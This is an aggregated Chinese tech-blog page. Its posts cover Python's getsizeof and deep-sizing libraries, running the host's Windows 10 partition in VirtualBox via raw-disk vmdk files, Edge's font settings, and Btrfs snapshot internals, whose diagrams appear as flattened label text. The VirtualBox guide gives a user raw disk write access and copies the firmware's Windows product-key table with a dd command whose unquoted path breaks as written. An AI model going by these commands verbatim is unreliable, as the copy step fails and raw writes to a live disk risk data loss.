明显可以看出,三个字典实际占用的全部内存不可能相等,但是 getsizeof() 方法给出的结果却相同,这意味着它只关心键的数量,而不关心实际的键值对是什么内容,情况跟列表相似。

2、“浅计算”与其它问题

有个概念叫“浅拷贝”,指的是 copy() 方法只拷贝引用对象的内存地址,而非实际的引用对象。类比于这个概念,我们可以认为 getsizeof() 是一种“浅计算”。
“浅计算”不关心真实的对象,所以其计算结果只是一个假象。这是一个值得注意的问题,但是注意到这点还不够,我们还可以发散地思考如下的问题:
  • “浅计算”方法的底层实现是怎样的?
  • 为什么 getsizeof() 会采用“浅计算”的方法?
关于第一个问题,getsizeof(x) 方法实际会调用 x 对象的__sizeof__() 魔术方法,对于内置对象来说,这个方法是通过 CPython 解释器实现的。
我查到这篇文章《Python中对象的内存使用(一)》,它分析了 CPython 源码,最终定位到的核心代码是这一段:
/*longobject.c*/

static Py_ssize_t
int___sizeof___impl(PyObject *self)
{
    Py_ssize_t res;

    res = offsetof(PyLongObject, ob_digit) + Py_ABS(Py_SIZE(self))*sizeof(digit);
    return res;
}
我看不懂这段代码,但是可以知道的是,它在计算 Python 对象的大小时,只跟该对象的结构体的属性相关,而没有进一步作“深度计算”。
对于 CPython 的这种实现,我们可以注意到两个层面上的区别:
  • 字节增大:int 类型在 C 语言中只占到 4 个字节,但是在 Python 中,int 其实是被封装成了一个对象,所以在计算其大小时,会包含对象结构体的大小。在 32 位解释器中,getsizeof(1) 的结果是 14 个字节,比数字本身的 4 字节增大了。
  • 字节减少:对于相对复杂的对象,例如列表和字典,这套计算机制由于没有累加内部元素的占用量,就会出现比真实占用内存小的结果。
由此,我有一个不成熟的猜测:基于“一切皆是对象”的设计原则,int 及其它基础的 C 数据类型在 Python 中被套上了一层“壳”,所以需要一个方法来计算它们的大小,也即是 getsizeof()。
官方文档中说“All built-in objects will return correct results” [1],指的应该是数字、字符串和布尔值之类的简单对象。但是不包括列表、元组和字典等在内部存在引用关系的类型。
为什么不推广到所有内置类型上呢?我未查到这方面的解释,若有知情的同学,烦请告知。

3、“深计算”与其它问题

与“浅计算”相对应,我们可以定义出一种“深计算”。对于前面的两个例子,“深计算”应该遍历每个内部元素以及可能的子元素,累加计算它们的字节,最后算出总的内存大小。
那么,我们应该注意的问题有:
  • 是否存在“深计算”的方法/实现方案?
  • 实现“深计算”时应该注意什么?
Stackoverflow 网站上有个年代久远的问题“How do I determine the size of an object in Python?” [2],实际上问的就是如何实现“深计算”的问题。
有不同的开发者贡献了两个项目:pymplerpysize :第一个项目已发布在 Pypi 上,可以“pip install pympler”安装;第二个项目烂尾了,作者也没发布到 Pypi 上(注:Pypi 上已有个 pysize 库,是用来做格式转化的,不要混淆),但是可以在 Github 上获取到其源码。
对于前面的两个例子,我们可以拿这两个项目分别测试一下:
单看数值的话,pympler 似乎确实比 getsizeof() 合理多了。
再看看 pysize,直接看测试结果是(获取其源码过程略):
64
118
190
206
300281
30281
可以看出,它比 pympler 计算的结果略小。就两个项目的完整度、使用量与社区贡献者规模来看,pympler 的结果似乎更为可信。
那么,它们分别是怎么实现的呢?那微小的差异是怎么导致的?从它们的实现方案中,我们可以学习到什么呢?
pysize 项目很简单,只有一个核心方法:
def get_size(obj, seen=None):
    """Recursively finds size of objects in bytes"""
    size = sys.getsizeof(obj)
    if seen is None:
        seen = set()
    obj_id = id(obj)
    if obj_id in seen:
        return 0
    # Important mark as seen *before* entering recursion to gracefully handle
    # self-referential objects
    seen.add(obj_id)
    if hasattr(obj, '__dict__'):
        for cls in obj.__class__.__mro__:
            if '__dict__' in cls.__dict__:
                d = cls.__dict__['__dict__']
                if inspect.isgetsetdescriptor(d) or inspect.ismemberdescriptor(d):
                    size += get_size(obj.__dict__, seen)
                break
    if isinstance(obj, dict):
        size += sum((get_size(v, seen) for v in obj.values()))
        size += sum((get_size(k, seen) for k in obj.keys()))
    elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)):
        size += sum((get_size(i, seen) for i in obj))
        
    if hasattr(obj, '__slots__'): # can have __slots__ with __dict__
        size += sum(get_size(getattr(obj, s), seen) for s in obj.__slots__ if hasattr(obj, s))
        
    return size
除去判断__dict____slots__ 属性的部分(针对类对象),它主要是对字典类型及可迭代对象(除字符串、bytes、bytearray)作递归的计算,逻辑并不复杂。
以 [1,2] 这个列表为例,它先用 sys.getsizeof() 算出 36 字节,再计算内部的两个元素得 14*2=28 字节,最后相加得到 64 字节。
相比之下,pympler 所考虑的内容要多很多,入口在这:
    def asizeof(self, *objs, **opts):
        '''Return the combined size of the given objects
           (with modified options, see method **set**).
        '''
        if opts:
            self.set(**opts)
        self.exclude_refs(*objs)  # skip refs to objs
        return sum(self._sizer(o, 0, 0, None) for o in objs)
它可以接受多个参数,再用 sum() 方法合并。所以核心的计算方法其实是 _sizer()。但代码很复杂,绕来绕去像一座迷宫:
    def _sizer(self, obj, pid, deep, sized):  # MCCABE 19
        '''Size an object, recursively.
        '''
        s, f, i = 0, 0, id(obj)
        if i not in self._seen:
            self._seen[i] = 1
        elif deep or self._seen[i]:
            # skip obj if seen before
            # or if ref of a given obj
            self._seen.again(i)
            if sized:
                s = sized(s, f, name=self._nameof(obj))
                self.exclude_objs(s)
            return s  # zero
        else:  # deep == seen[i] == 0
            self._seen.again(i)
        try:
            k, rs = _objkey(obj), []
            if k in self._excl_d:
                self._excl_d[k] += 1
            else:
                v = _typedefs.get(k, None)
                if not v:  # new typedef
                    _typedefs[k] = v = _typedef(obj, derive=self._derive_,
                                                     frames=self._frames_,
                                                      infer=self._infer_)
                if (v.both or self._code_) and v.kind is not self._ign_d:
                    # 猫注:这里计算 flat size
                    s = f = v.flat(obj, self._mask)  # flat size
                    if self._profile:
                        # profile based on *flat* size
                        self._prof(k).update(obj, s)
                    # recurse, but not for nested modules
                    if v.refs and deep < self._limit_ \
                              and not (deep and ismodule(obj)):
                        # add sizes of referents
                        z, d = self._sizer, deep + 1
                        if sized and deep < self._detail_:
                            # use named referents
                            self.exclude_objs(rs)
                            for o in v.refs(obj, True):
                                if isinstance(o, _NamedRef):
                                    r = z(o.ref, i, d, sized)
                                    r.name = o.name
                                else:
                                    r = z(o, i, d, sized)
                                    r.name = self._nameof(o)
                                rs.append(r)
                                s += r.size
                        else:  # just size and accumulate
                            for o in v.refs(obj, False):
                                # 猫注:这里递归计算 item size
                                s += z(o, i, d, None)
                        # deepest recursion reached
                        if self._depth < d:
                            self._depth = d
                if self._stats_ and s > self._above_ > 0:
                    # rank based on *total* size
                    self._rank(k, obj, s, deep, pid)
        except RuntimeError:  # XXX RecursionLimitExceeded:
            self._missed += 1
        if not deep:
            self._total += s  # accumulate
        if sized:
            s = sized(s, f, name=self._nameof(obj), refs=rs)
            self.exclude_objs(s)
        return s
它的核心逻辑是把每个对象的 size 分为两部分:flat size 和 item size。
计算 flat size 的逻辑在:
    def flat(self, obj, mask=0):
        '''Return the aligned flat size.
        '''
        s = self.base
        if self.leng and self.item > 0:  # include items
            s += self.leng(obj) * self.item
        # workaround sys.getsizeof (and numpy?) bug ... some
        # types are incorrectly sized in some Python versions
        # (note, isinstance(obj, ()) == False)
        # 猫注:不可 sys.getsizeof 的,则用上面逻辑,可以的,则用下面逻辑
        if not isinstance(obj, _getsizeof_excls):
            s = _getsizeof(obj, s)
        if mask:  # align
            s = (s + mask) & ~mask
        return s
这里出现的 mask 是为了作字节对齐,默认值是 7,该计算公式表示按 8 个字节对齐。对于 [1,2] 列表,会算出 (36+7)&~7=40 字节。同理,对于单个的 item,比如列表中的数字 1,sys.getsizeof(1) 等于 14,而 pympler 会算成对齐的数值 16,所以汇总起来是 40+16+16=72 字节。这就解释了为什么 pympler 算的结果比 pysize 大。
字节对齐一般由具体的编译器实现,而且不同的编译器还会有不同的策略,理论上 Python 不应关心这么底层的细节,内置的 getsizeof() 方法就没有考虑字节对齐。
在不考虑其它 edge cases 的情况下,可以认为 pympler 是在 getsizeof() 的基础上,既考虑了遍历取引用对象的 size,又考虑到了实际存储时的字节对齐问题,所以它会显得更加贴近现实。

4、小结

getsizeof() 方法的问题是显而易见的,我创造了一个“浅计算”概念给它。这个概念借鉴自 copy() 方法的“浅拷贝”,同时对应于 deepcopy() “深拷贝”,我们还能推理出一个“深计算”。
前面展示了两个试图实现“深计算”的项目(pysize+pympler),两者在浅计算的基础上,深入地求解引用对象的大小。pympler 项目的完整度较高,代码中有很多细节上的设计,比如字节对齐。
Python 官方团队当然也知道 getsizeof() 方法的局限性,他们甚至在文档中加了一个链接 [3],指向了一份实现深计算的示例代码。那份代码比 pysize 还要简单(没有考虑类对象的情况)。
未来 Python 中是否会出现深计算的方法,假设命名为 getdeepsizeof() 呢?这不得而知了。
本文的目的是加深对 getsizeof() 方法的理解,区分浅计算与深计算,分析两个深计算项目的实现思路,指出几个值得注意的问题。
读完这里,希望你也能有所收获。若有什么想法,欢迎一起交流。

March 02, 2020 12:00 AM

March 01, 2020

spiritx

使用VirtualBox启动本地硬盘上的Win 10系统

前言

了更好的性能,当初装系统时选择了双系统的方式,又为了满足我对于几款win平台软件的需求,安装了一台 Win 7 虚拟机(前不久换成了 Win 8.1)。近来发现,Windows 10虽然作为我的必备系统,但我打开她的频率不是太高,而且Windows虚拟机由于需求越来越多,磁盘剩余逐渐变小。于是我想到把我“闲置”的Win 10系统利用起来,一方面,经过我几年的使用和配置,肯定比虚拟机用得顺手,同时也免去了开机切换系统的麻烦;另一方面,当初装系统时给 Win 10 分配的空间比Arch Linux多很多,如果利用起来的话,我Arch上的一些替代软件就可以删除了,这样可以给我腾出不少空间。
PS: 本文所用的这种方式启动的Windows肯定是存在问题的,最明显的就是驱动的问题了,建议三思后再尝试!

从 Arch Linux 启动 Windows 10

查看分区情况

首先,看看我的分区情况

 ~  sudo fdisk -l
...
设备                起点      末尾      扇区   大小 类型
/dev/nvme0n1p1      2048    206847    204800   100M EFI 系统
/dev/nvme0n1p2    206848    468991    262144   128M Microsoft 保留
/dev/nvme0n1p3    468992 395255172 394786181 188.3G Microsoft 基本数据
/dev/nvme0n1p4 395257856 500118158 104860303    50G Linux 文件系统
/dev/sda1  *     2048 488394751 488392704 232.9G  7 HPFS/NTFS/exFAT
...

前3个就是我所需的的分区了,其中我电脑的Win 10系统就在/dev/nvme0n1p3分区

获取读写分区的权限

为了避免使用 root 运行 VirtualBox,所以需要给自己访问磁盘的权限,因为我的Win 10使用UEFI 启动,所以 UEFI 分区的权限也是需要的

## 为当前用户获取硬盘分区读写权限
 ~  sudo setfacl -m u:${USER}:rw /dev/nvme0n1p{1,2,3}
## 为当前用户获取硬盘读写权限
 ~  sudo setfacl -m "u:${USER}:rw" /dev/nvme0n1

创建 VirtualBox 的硬盘映射文件

创建之前需要先获取整块硬盘的读写权限,要注意的是nvme SSD的设备名称是nvme0n1

## 创建磁盘映射文件 windows.vmdk
 ~  VBoxManage internalcommands createrawvmdk -filename windows.vmdk -rawdisk /dev/nvme0n1 -partitions 1,2,3 -relative
## 创建完成后可以撤销对 nvme0n1 的权限
 ~  sudo setfacl -b /dev/nvme0n1

使用-partitions 1,2,3选项的话,只有这三个分区能在虚拟机里访问,别的分区读的时候是全零,写入操作会被忽略。-relative选择使用分区设备名(nvme0n1p1、nvme0n1p2、nvme0n1p3),这样创建好之后 VirtualBox 不再需要对整块硬盘 nvme0n1 的权限了。另外会附带创建一个名字以 -pt.vmdk 结尾的文件。它是单独的分区表。

配置bios dmi(可选

这一步主要是为了配置一些主板额外的信息,参考Configuring the BIOS DMI Information。注意:如果你和我一样是使用UEFI启动的话,代码语句里面的pcbios应换为efi。示例如下:

## 可能需要
 ~  sudo pacman -S dmidecode
## 获取dmi type0的信息
 ~  sudo dmidecode -t0
## Windows 10 即为虚拟机名字,10/23/2018就在刚获取的dmi信息中
 ~  VBoxManage setextradata "Windows 10" "VBoxInternal/Devices/efi/0/Config/DmiBIOSReleaseDate" "10/23/2018" 

使用虚拟机

打开 VirtualBox,按照常规步骤创建虚拟机,硬盘就选刚创建的磁盘映射文件,创建完成后记得在设置-系统-主板里勾选 启用EFI,然后就可以开机了。注意:重启后必须重新为当前用户获取硬盘分区读写权限!sudo setfacl -m u:${USER}:rw /dev/nvme0n1p{1,2,3}
话不多说,先上图

<noscript><img alt="win10" height="1080" src="https://view.spiritx.xyz/images/2020/03/01/win10.png" width="1920" /></a><br /></noscript>
美中不足的是打开发现数字许可证失效了orz,而且指纹和pin解锁不能使用,经过一番Google,应该是TPM失效的缘故,而 VirtualBox 不支持vTPM......看来我只能将就用了。值得一提的是,如果你是通过主板硬件来激活 Windows 的话,那么可以尝试下下面这个方法(虽然我也没试过,不过理论上来讲没问题~~ :流汗滑稽:

## 查看key
 ~  sudo cat /sys/firmware/acpi/tables/MSDM
## 如果没有的话就放弃吧~_~
## 把key导出
 ~  sudo dd if=/sys/firmware/acpi/tables/MSDM of=/home/spirit/VirtualBox VMs/msdm.bin
## 导入虚拟机
 ~  VBoxManage setextradata "Windows 10" "VBoxInternal/Devices/acpi/0/Config/CustomTable" "/home/spirit/VirtualBox VMs/msdm.bin"

后记

既然可以从Linux启动Win,那能不能从Win启动Linux呢,我试着创建了一个磁盘映射,答案是可以的,不过需要注意的是操作均需在管理员权限下执行。Win+x,点击磁盘管理,查看硬盘序号,我的系统盘是磁盘1,所以硬盘选择了\\.\PhysicalDrive1

## 列出磁盘分区
C:\Users\spirit\Documents> "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" internalcommands listpartitions -rawdisk "\\.\PhysicalDrive1"
Number  Type   StartCHS       EndCHS      Size (MiB)  Start (Sect)
1       0x00  0   /0  /0   0   /0  /0            100         2048
2       0x00  0   /0  /0   0   /0  /0            128       206848
3       0x00  0   /0  /0   0   /0  /0         192766       468992
4       0x00  0   /0  /0   0   /0  /0          51201    395257856
## 创建磁盘映射linux.vmdk
C:\Users\spirit\Documents> "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" internalcommands createrawvmdk -filename linux.vmdk -rawdisk "\\.\PhysicalDrive1" -partitions 1,4

之后和前面一样,创建虚拟机,注册虚拟磁盘,不过需要注意的是以管理员身份运行 VirtualBox

参考文章:

by Spirit at March 01, 2020 03:49 PM

February 27, 2020

anji66

Edge浏览器显示网页排版错位

首先这是一篇水文。作为微软的壳,谷歌的心,Edge浏览器正逐步替换微软亲生儿子IE,越来越多的人把Edge当做Chrome的备用浏览器来使用了。那天为了测试某个兼容问题,刻意下载了下Edge来尝试一下。总体来说,这款浏览器还是很好用的。所以就没删除,一直留在了系统里。再后来闲着么事开了下我的博客,偶买噶,这排版怎么成了这逼样。看个图来体会一下。排版错位,字体咋还这么大,这怎么能忍,必须不能忍。

QQ图片20200226194952.png

首先肯定不会是自己代码太烂造成了,毕竟Chrome和国产扛把子上都显示正常,甚至古董IE多数也正常(IE6负分滚粗)。群里截个图发了下,两个大佬火速截图给我他们的Edge显示正常。这泥煤的肯定是我自己的设置问题了。


找到相关设置

右上角三点君,很容易找到设置,一眼看过去,外观设置里面,有个字体大小设置,默认是中(推荐),改成小,发现不行,改成非常小,也不行,并且无论小还是非常小,页面上的字体都没有变化,这就奇怪了。发现下面还有一个自定义字体,点开后可以设置标准字体,等宽字体等,上面有一个最小字体设置,拖动滑块,我的默认的是16px,改成12px,因为我博客最小字体设置的最小是12px的字体,当拖动滑块到位后,看了下我的博客一切正常了

QQ图片20200226195035.png

QQ图片20200226195113.png

原因分析

Edge内置了一套字体大小显示的规格,这是一个全局设置,如果设置了最小显示16px的字,那么即便网站定义了更小的字体也会被16px的字体替换,所以为了显示大多数的网页效果,还是将最小字体调到12px为好,甚至可以调到9px,因为很多站上的极小字体只有9px。当然现在新设计的站,都为了兼顾大屏和移动端,字号基本已经默认到了16px。这也为前端设计提供了一个参考指标。


by 西枫里 at February 27, 2020 01:43 PM

February 19, 2020

farseerfc

Btrfs vs ZFS 實現 snapshot 的差異

zfs 這個東西倒是名不符實。叫 z storage stack 明顯更符合。 叫 fs 但不做 fs 自然確實會和 btrfs 有很大出入。
我反而以前還好奇為什麼 btrfs 不弄 zvol , 直到我意識到這東西真是一個 fs ,名符奇實。
—— 某不愿透露姓名的 Ext2FSD 開發者

Btrfs 和 ZFS 都是開源的寫時拷貝(Copy on Write, CoW)文件系統,都提供了相似的子卷管理和 快照(snapshot)的功能。網上有不少文章都評價 ZFS 實現 CoW FS 的創新之處,進而想說「 Btrfs 只是 Linux/GPL 陣營對 ZFS 的拙劣抄襲」。或許(在存儲領域人盡皆知而在領域外)鮮有人知,在 ZFS 之前就有 NetApp 的商業產品 WAFL (Write Anywhere File Layout) 實現了 CoW 語義的文件系統,並且集成了快照和卷管理之類的功能。描述 btrfs 原型設計的 論文發表幻燈片 也明顯提到 WAFL 比提到 ZFS 更多一些,應該說 WAFL 這樣的企業級存儲方案纔是 ZFS 和 btrfs 共同的靈感來源,而無論是 ZFS 還是 btrfs 在其設計中都汲取了很多來自 WAFL 的經驗教訓。

我一開始也帶着「 Btrfs 和 ZFS 都提供了類似的功能,因此兩者必然有類似的設計」這樣的先入觀念,嘗試去使用這兩個文件系統, 卻經常撞上兩者細節上的差異,導致使用時需要不盡相同的工作流, 或者看似相似的用法有不太一樣的性能表現,又或者一邊有的功能,比如 ZFS 的在線去重(in-band dedup) , Btrfs 的 reflink ,在另一邊沒有的情況,進而需要不同細粒度的子卷劃分方案。後來看到了 LWN 的這篇 《A short history of btrfs》 讓我意識到 btrfs 和 ZFS 雖然表面功能上看起來類似,但是實現細節上完全不一樣, 所以需要不一樣的用法,適用於不一樣的使用場景。

爲了更好地理解這些差異,我四處蒐羅這兩個文件系統的實現細節,於是有了這篇筆記, 記錄一下我查到的種種發現和自己的理解。(或許會寫成一個系列?還是先別亂挖坑不填。) 只是自己的筆記,所有參閱的資料文檔都是二手資料,沒有深挖過源碼,還參雜了自己的理解, 於是難免有和事實相違的地方,如有寫錯,還請留言糾正。

1   Btrfs 的子卷和快照

關於寫時拷貝(CoW)文件系統的優勢,我們爲什麼要用 btrfs/zfs 這樣的寫時拷貝文件系統, 而不是傳統的文件系統設計,或者寫時拷貝文件系統在使用時有什麼區別之類的,網上同樣也能找到很多介紹 ,這裏不想再討論。這裏假設你用過 btrfs/zfs 至少一個的快照功能,知道它該怎麼用, 並且想知道更多細節,判斷怎麼用那些功能才合理。

先從兩個文件系統中(表面上看起來)比較簡單的 btrfs 的子卷(subvolume)和快照(snapshot)說起。 關於子卷和快照的常規用法、推薦佈局之類的話題就不細說了,網上能找到很多不錯的資料,比如 btrfs wiki 的 SysadminGuide 頁 和 Arch wiki 上 Btrfs#Subvolumes 頁都有不錯的參考價值。

1.1   子卷和快照的術語

在 btrfs 中,存在於存儲媒介中的只有「子卷」的概念,「快照」只是個創建「子卷」的方式, 換句話說在 btrfs 的術語裏,子卷(subvolume)是個名詞,而快照(snapshot)是個動詞。 如果脫離了 btrfs 術語的上下文,或者不精確地稱呼的時候,也經常有文檔把 btrfs 的快照命令創建出的子卷叫做一個快照,所以當提到快照的時候,根據上下文判斷這裏是個動詞還是名詞, 把名詞的快照當作用快照命令創建出的子卷就可以了。或者我們可以理解爲, 互相共享一部分元數據(metadata)的子卷互爲彼此的快照(名詞) , 那麼按照這個定義的話,在 btrfs 中創建快照(名詞)的方式其實有兩種:

  1. btrfs subvolume snapshot 命令創建快照
  2. btrfs send 命令並使用 -p 參數發送快照,並在管道另一端接收
btrfs send 命令的 -p -c

這裏也順便提一下 btrfs send 命令的 -p 參數和 -c 參數的差異。 只看 btrfs-send(8) 的描述的話:

-p <parent>
send an incremental stream from parent to subvol

-c <clone-src>
use this snapshot as a clone source for an incremental send (multiple allowed)

看起來這兩個都可以用來生成兩個快照之間的差分,只不過 -p 只能指定一個「parent」, 而 -c 能指定多個「clone source」。在 unix stackexchange 上有人寫明了這兩個的異同 。使用 -p 的時候,產生的差分首先讓接收端用 subvolume snapshot 命令對 parent 子卷創建一個快照, 然後發送指令將這個快照修改成目標子卷的樣子,而使用 -c 的時候,首先在接收端用 subvolume create 創建一個空的子卷,隨後發送指令在這個子卷中填充內容,其數據塊儘量共享 clone source 已有的數據。 所以 btrfs send -p 在接收端產生是有共享元數據的快照,而 btrfs send -c 在接收端產生的是僅僅共享數據而不共享元數據的子卷。

定義中「互相共享一部分 元數據 」比較重要,因爲除了快照的方式之外, btrfs 的子卷間也可以通過 reflink 的形式共享數據塊。我們可以對一整個子卷(甚至目錄)執行 cp -r --reflink=always ,創建出一個副本,副本的文件內容通過 reflink 共享原本的數據,但不共享元數據,這樣創建出的就不是快照。

說了這麼多,其實關鍵的只是 btrfs 在傳統 Unix 文件系統的「目錄/文件/inode」 這些東西之外只增加了一個「子卷」的新概念,而子卷間可以共享元數據或者數據, 用快照命令創建出的子卷就是共享一部分元數據。

1.2   於是子卷在存儲介質中是如何記錄的呢?

首先要說明, btrfs 中大部分長度可變的數據結構都是 CoW B-tree ,一種經過修改適合寫時拷貝的B樹結構,所以在 on-disk format 中提到了很多個樹。這裏的樹不是指文件系統中目錄結構樹,而是寫時拷貝B樹(CoW B-tree,下文簡稱B樹) ,如果不關心B樹細節的話可以把 btrfs 所說的一棵樹理解爲關係數據庫中的一個表, 和數據庫的表一樣 btrfs 的樹的長度可變,然後表項內容根據一個 key 排序。

B樹結構由索引 key 、中間節點和葉子節點構成。每個 key 是一個 (uint64_t object_id, uint8_t item_type, uint64_t item_extra) 這樣的三元組,三元组每一项的具体含义由 item_type 定義。 key 三元組構成了對象的概念,每個對象(object)在樹中用一個或多個表項(item)描述,同 object_id 的表項共同描述一個對象。B樹中的 key 只用來比較大小而不必連續,從而 object_id 也不必連續,只是按大小排序。有一些預留的 object_id 不能用作別的用途,他們的編號範圍是 -255ULL 到 255ULL,也就是表中前 255 和最後 255 個編號預留。

B樹中間節點和葉子節點結構大概像是這個樣子:

btree_nodes btree_node header TREE_NODE key0: address key10: address key20: address ... free space btree_leaf1 header LEAF_NODE key0: offset, size key1: offset, size key2: offset, size ... keyN offset, size free space dataN ... data2 data1 data0 btree_node:key00->btree_leaf1:label btree_leaf1:e->btree_leaf1:e btree_leaf1:w->btree_leaf1:w btree_leaf1:e->btree_leaf1:e

由此,每個中間節點保存一系列 key 到葉子節點的指針,而葉子節點內保存一系列 item ,每個 item 固定大小,並指向節點內某個可變大小位置的 data 。從而邏輯上一棵B樹可以包含任何類型的 item ,每個 item 都可以有可變大小的附加數據。通過這樣的B樹結構,可以緊湊而靈活地表達很多數據類型。

有這樣的背景之後,比如在 SysadminGuide 這頁的 Flat 佈局 有個子卷佈局的例子。

toplevel         (volume root directory, not to be mounted by default)
    +-- root       (subvolume root directory, to be mounted at /)
    +-- home       (subvolume root directory, to be mounted at /home)
    +-- var        (directory)
    |   \-- www    (subvolume root directory, to be mounted at /var/www)
    \-- postgres   (subvolume root directory, to be mounted at /var/lib/postgresql)

用圓柱體表示子卷的話畫成圖大概是這個樣子:

Flat_layout toplevel toplevel root root toplevel->root home home toplevel->home var var toplevel->var postgres postgres toplevel->postgres www www var->www

上圖例子中的 Flat 佈局在 btrfs 中大概是這樣的數據結構, 其中實線箭頭是B樹一系列中間節點和葉子節點,邏輯上指向一棵B樹,虛線箭頭是根據 inode 號之類的編號的引用:

Flat_layout_on_disk superblock SUPERBLOCK ... root_tree ... roottree ROOT_TREE 2: extent_tree 3: chunk_tree 4: dev_tree 5: fs_tree 6: root_dir "default" -> ROOT_ITEM 256 10: free_space_tree 256: fs_tree "root" 257: fs_tree "home" 258: fs_tree "www" 259: fs_tree "postgres" -7: tree_log_tree -5: orphan_root superblock:sn_root->roottree:label roottree:e->roottree:e toplevel FS_TREE "toplevel" 256: inode_item DIR 256: dir_item: "root" -> ROOT_ITEM 256 256: dir_item: "home" -> ROOT_ITEM 257 256: dir_item: "var" -> INODE_ITEM 257 256: dir_item: "postgres" -> ROOT_ITEM 259 257: inode_item DIR 257: dir_item: "www" -> ROOT_ITEM 258 roottree:root_fs->toplevel:label root FS_TREE "root" 256: inode_item DIR roottree:root_sub_root->root:label home FS_TREE "home" 256: inode_item DIR roottree:root_sub_home->home:label www FS_TREE "www" 256: inode_item DIR roottree:root_sub_www->www:label postgres FS_TREE "postgres" 256: inode_item DIR roottree:root_sub_postgres->postgres:label toplevel:toplevel_dir_root->roottree:root_sub_root toplevel:toplevel_dir_home->roottree:root_sub_home toplevel:toplevel_dir_postgres->roottree:root_sub_postgres toplevel:toplevel_dir_www->roottree:root_sub_www toplevel:e->toplevel:e

上圖中已經隱去了很多和本文無關的具體細節,所有這些細節都可以通過 btrfs inspect-internal 的 dump-super 和 dump-tree 查看到。

ROOT_TREE 中記錄了到所有別的B樹的指針,在一些文檔中叫做 tree of tree roots 。「所有別的B樹」 舉例來說比如 2 號 extent_tree ,3 號 chunk_tree , 4 號 dev_tree ,10 號 free_space_tree ,這些B樹都是描述 btrfs 文件系統結構非常重要的組成部分,但是在本文關係不大, 今後有機會再討論它們。在 ROOT_TREE 的 5 號對象有一個 fs_tree ,它描述了整個 btrfs pool 的頂級子卷,也就是圖中叫 toplevel 的那個子卷(有些文檔用定冠詞稱 the FS_TREE 的時候就是在說這個 5 號樹,而不是別的子卷的 FS_TREE )。除了頂級子卷之外,別的所有子卷的 object_id 在 256ULL 到 -256ULL 的範圍之間,對子卷而言 ROOT_TREE 中的這些 object_id 也同時是它們的 子卷 id ,在內核掛載文件系統的時候可以用 subvolid 找到它們,別的一些對子卷的操作也可以直接用 subvolid 表示一個子卷。 ROOT_TREE 的 6 號對象描述的不是一棵樹,而是一個名叫 default 的特殊目錄,它指向 btrfs pool 的默認掛載子卷。最初 mkfs 的時候,這個目錄指向 ROOT_ITEM 5 ,也就是那個頂級子卷,之後可以通過命令 btrfs subvolume set-default 修改它指向別的子卷,這裏它被改爲指向 ROOT_ITEM 256 亦即那個名叫 "root" 的子卷。

每一個子卷都有一棵自己的 FS_TREE (有的文檔中叫 file tree),一個 FS_TREE 相當於傳統 Unix 文件系統中的一整個 inode table ,只不過它除了包含 inode 信息之外還包含所有文件夾內容。在 FS_TREE 中, object_id 同時也是它所描述對象的 inode 號,所以 btrfs 的 子卷有互相獨立的 inode 編號 ,不同子卷中的文件或目錄可以擁有相同的 inode 。 或許有人不太清楚子卷間 inode 編號獨立意味着什麼,簡單地說,這意味着你不能跨子卷創建 hard link ,不能跨子卷 mv 移動文件而不產生複製操作。不過因爲 reflink 和 inode 無關, 可以跨子卷創建 reflink ,也可以用 reflink + rm 的方式快速「移動」文件(這裏移動加引號是因爲 inode 變了,傳統上不算移動)。

FS_TREE 中一個目錄用一個 inode_item 和多個 dir_item 描述, inode_item 是目錄自己的 inode ,那些 dir_item 是目錄的內容。 dir_item 可以指向別的 inode_item 來描述普通文件和子目錄, 也可以指向 root_item 來描述這個目錄指向一個子卷。有人或許疑惑,子卷就沒有自己的 inode 麼?其實如果看 數據結構定義 的話 struct btrfs_root_item 結構在最開頭的地方包含了一個 struct btrfs_inode_item 所以 root_item 也同時作爲子卷的 inode ,不過用戶通常看不到這個子卷的 inode ,因爲子卷在被(手動或自動地)掛載到目錄上之後, 用戶會看到的是子卷的根目錄的 inode 。

比如上圖 FS_TREE toplevel 中,有兩個對象,第一個 256 是(子卷的)根目錄,第二個 257 是 "var" 目錄,256 有4個子目錄,其中 "root" "home" "postgres" 這三個指向了 ROOT_TREE 中的對應子卷,而 "var" 指向了 inode 257 。然後 257 有一個子目錄叫 "www" 它指向了 ROOT_TREE 中 object_id 爲 258 的子卷。

1.3   那麼快照又是如何記錄的呢?

以上是子卷、目錄、 inode 在 btrfs 中的記錄方式,你可能想知道,如何記錄一個快照呢? 特別是,如果對一個包含子卷的子卷創建了快照,會得到什麼結果呢?如果我們在上面的佈局基礎上執行:

btrfs subvolume snapshot toplevel toplevel/toplevel@s1

那麼產生的數據結構大概如下所示:

Flat_layout_on_disk superblock SUPERBLOCK ... root_tree ... roottree ROOT_TREE 2: extent_tree 3: chunk_tree 4: dev_tree 5: fs_tree 6: root_dir "default" -> ROOT_ITEM 256 10: free_space_tree 256: fs_tree "root" 257: fs_tree "home" 258: fs_tree "www" 259: fs_tree "postgres" 260: fs_tree "toplevel@s1" -7: tree_log_tree -5: orphan_root superblock:sn_root->roottree:label roottree:e->roottree:e toplevel FS_TREE "toplevel" 256: inode_item DIR 256: dir_item: "root" -> ROOT_ITEM 256 256: dir_item: "home" -> ROOT_ITEM 257 256: dir_item: "var" -> INODE_ITEM 257 256: dir_item: "postgres" -> ROOT_ITEM 259 256: dir_item: "toplevel@s1" -> ROOT_ITEM 260 257: inode_item DIR 257: dir_item: "www" -> ROOT_ITEM 258 roottree:root_fs->toplevel:label toplevels1 FS_TREE "toplevel@s1" 256: inode_item DIR 256: dir_item: "root" -> ROOT_ITEM 256 256: dir_item: "home" -> ROOT_ITEM 257 256: dir_item: "var" -> INODE_ITEM 257 256: dir_item: "postgres" -> ROOT_ITEM 259 257: inode_item DIR 257: dir_item: "www" -> ROOT_ITEM 258 roottree:root_sub_s1->toplevels1:label root FS_TREE "root" 256: inode_item DIR roottree:root_sub_root->root:label home FS_TREE "home" 256: inode_item DIR roottree:root_sub_home->home:label www FS_TREE "www" 256: inode_item DIR roottree:root_sub_www->www:label postgres FS_TREE "postgres" 256: inode_item DIR roottree:root_sub_postgres->postgres:label toplevel:toplevel_dir_root->roottree:root_sub_root toplevel:toplevel_dir_home->roottree:root_sub_home toplevel:toplevel_dir_postgres->roottree:root_sub_postgres toplevel:toplevel_dir_toplevels1->roottree:root_sub_s1 toplevel:toplevel_dir_www->roottree:root_sub_www toplevel:e->toplevel:e

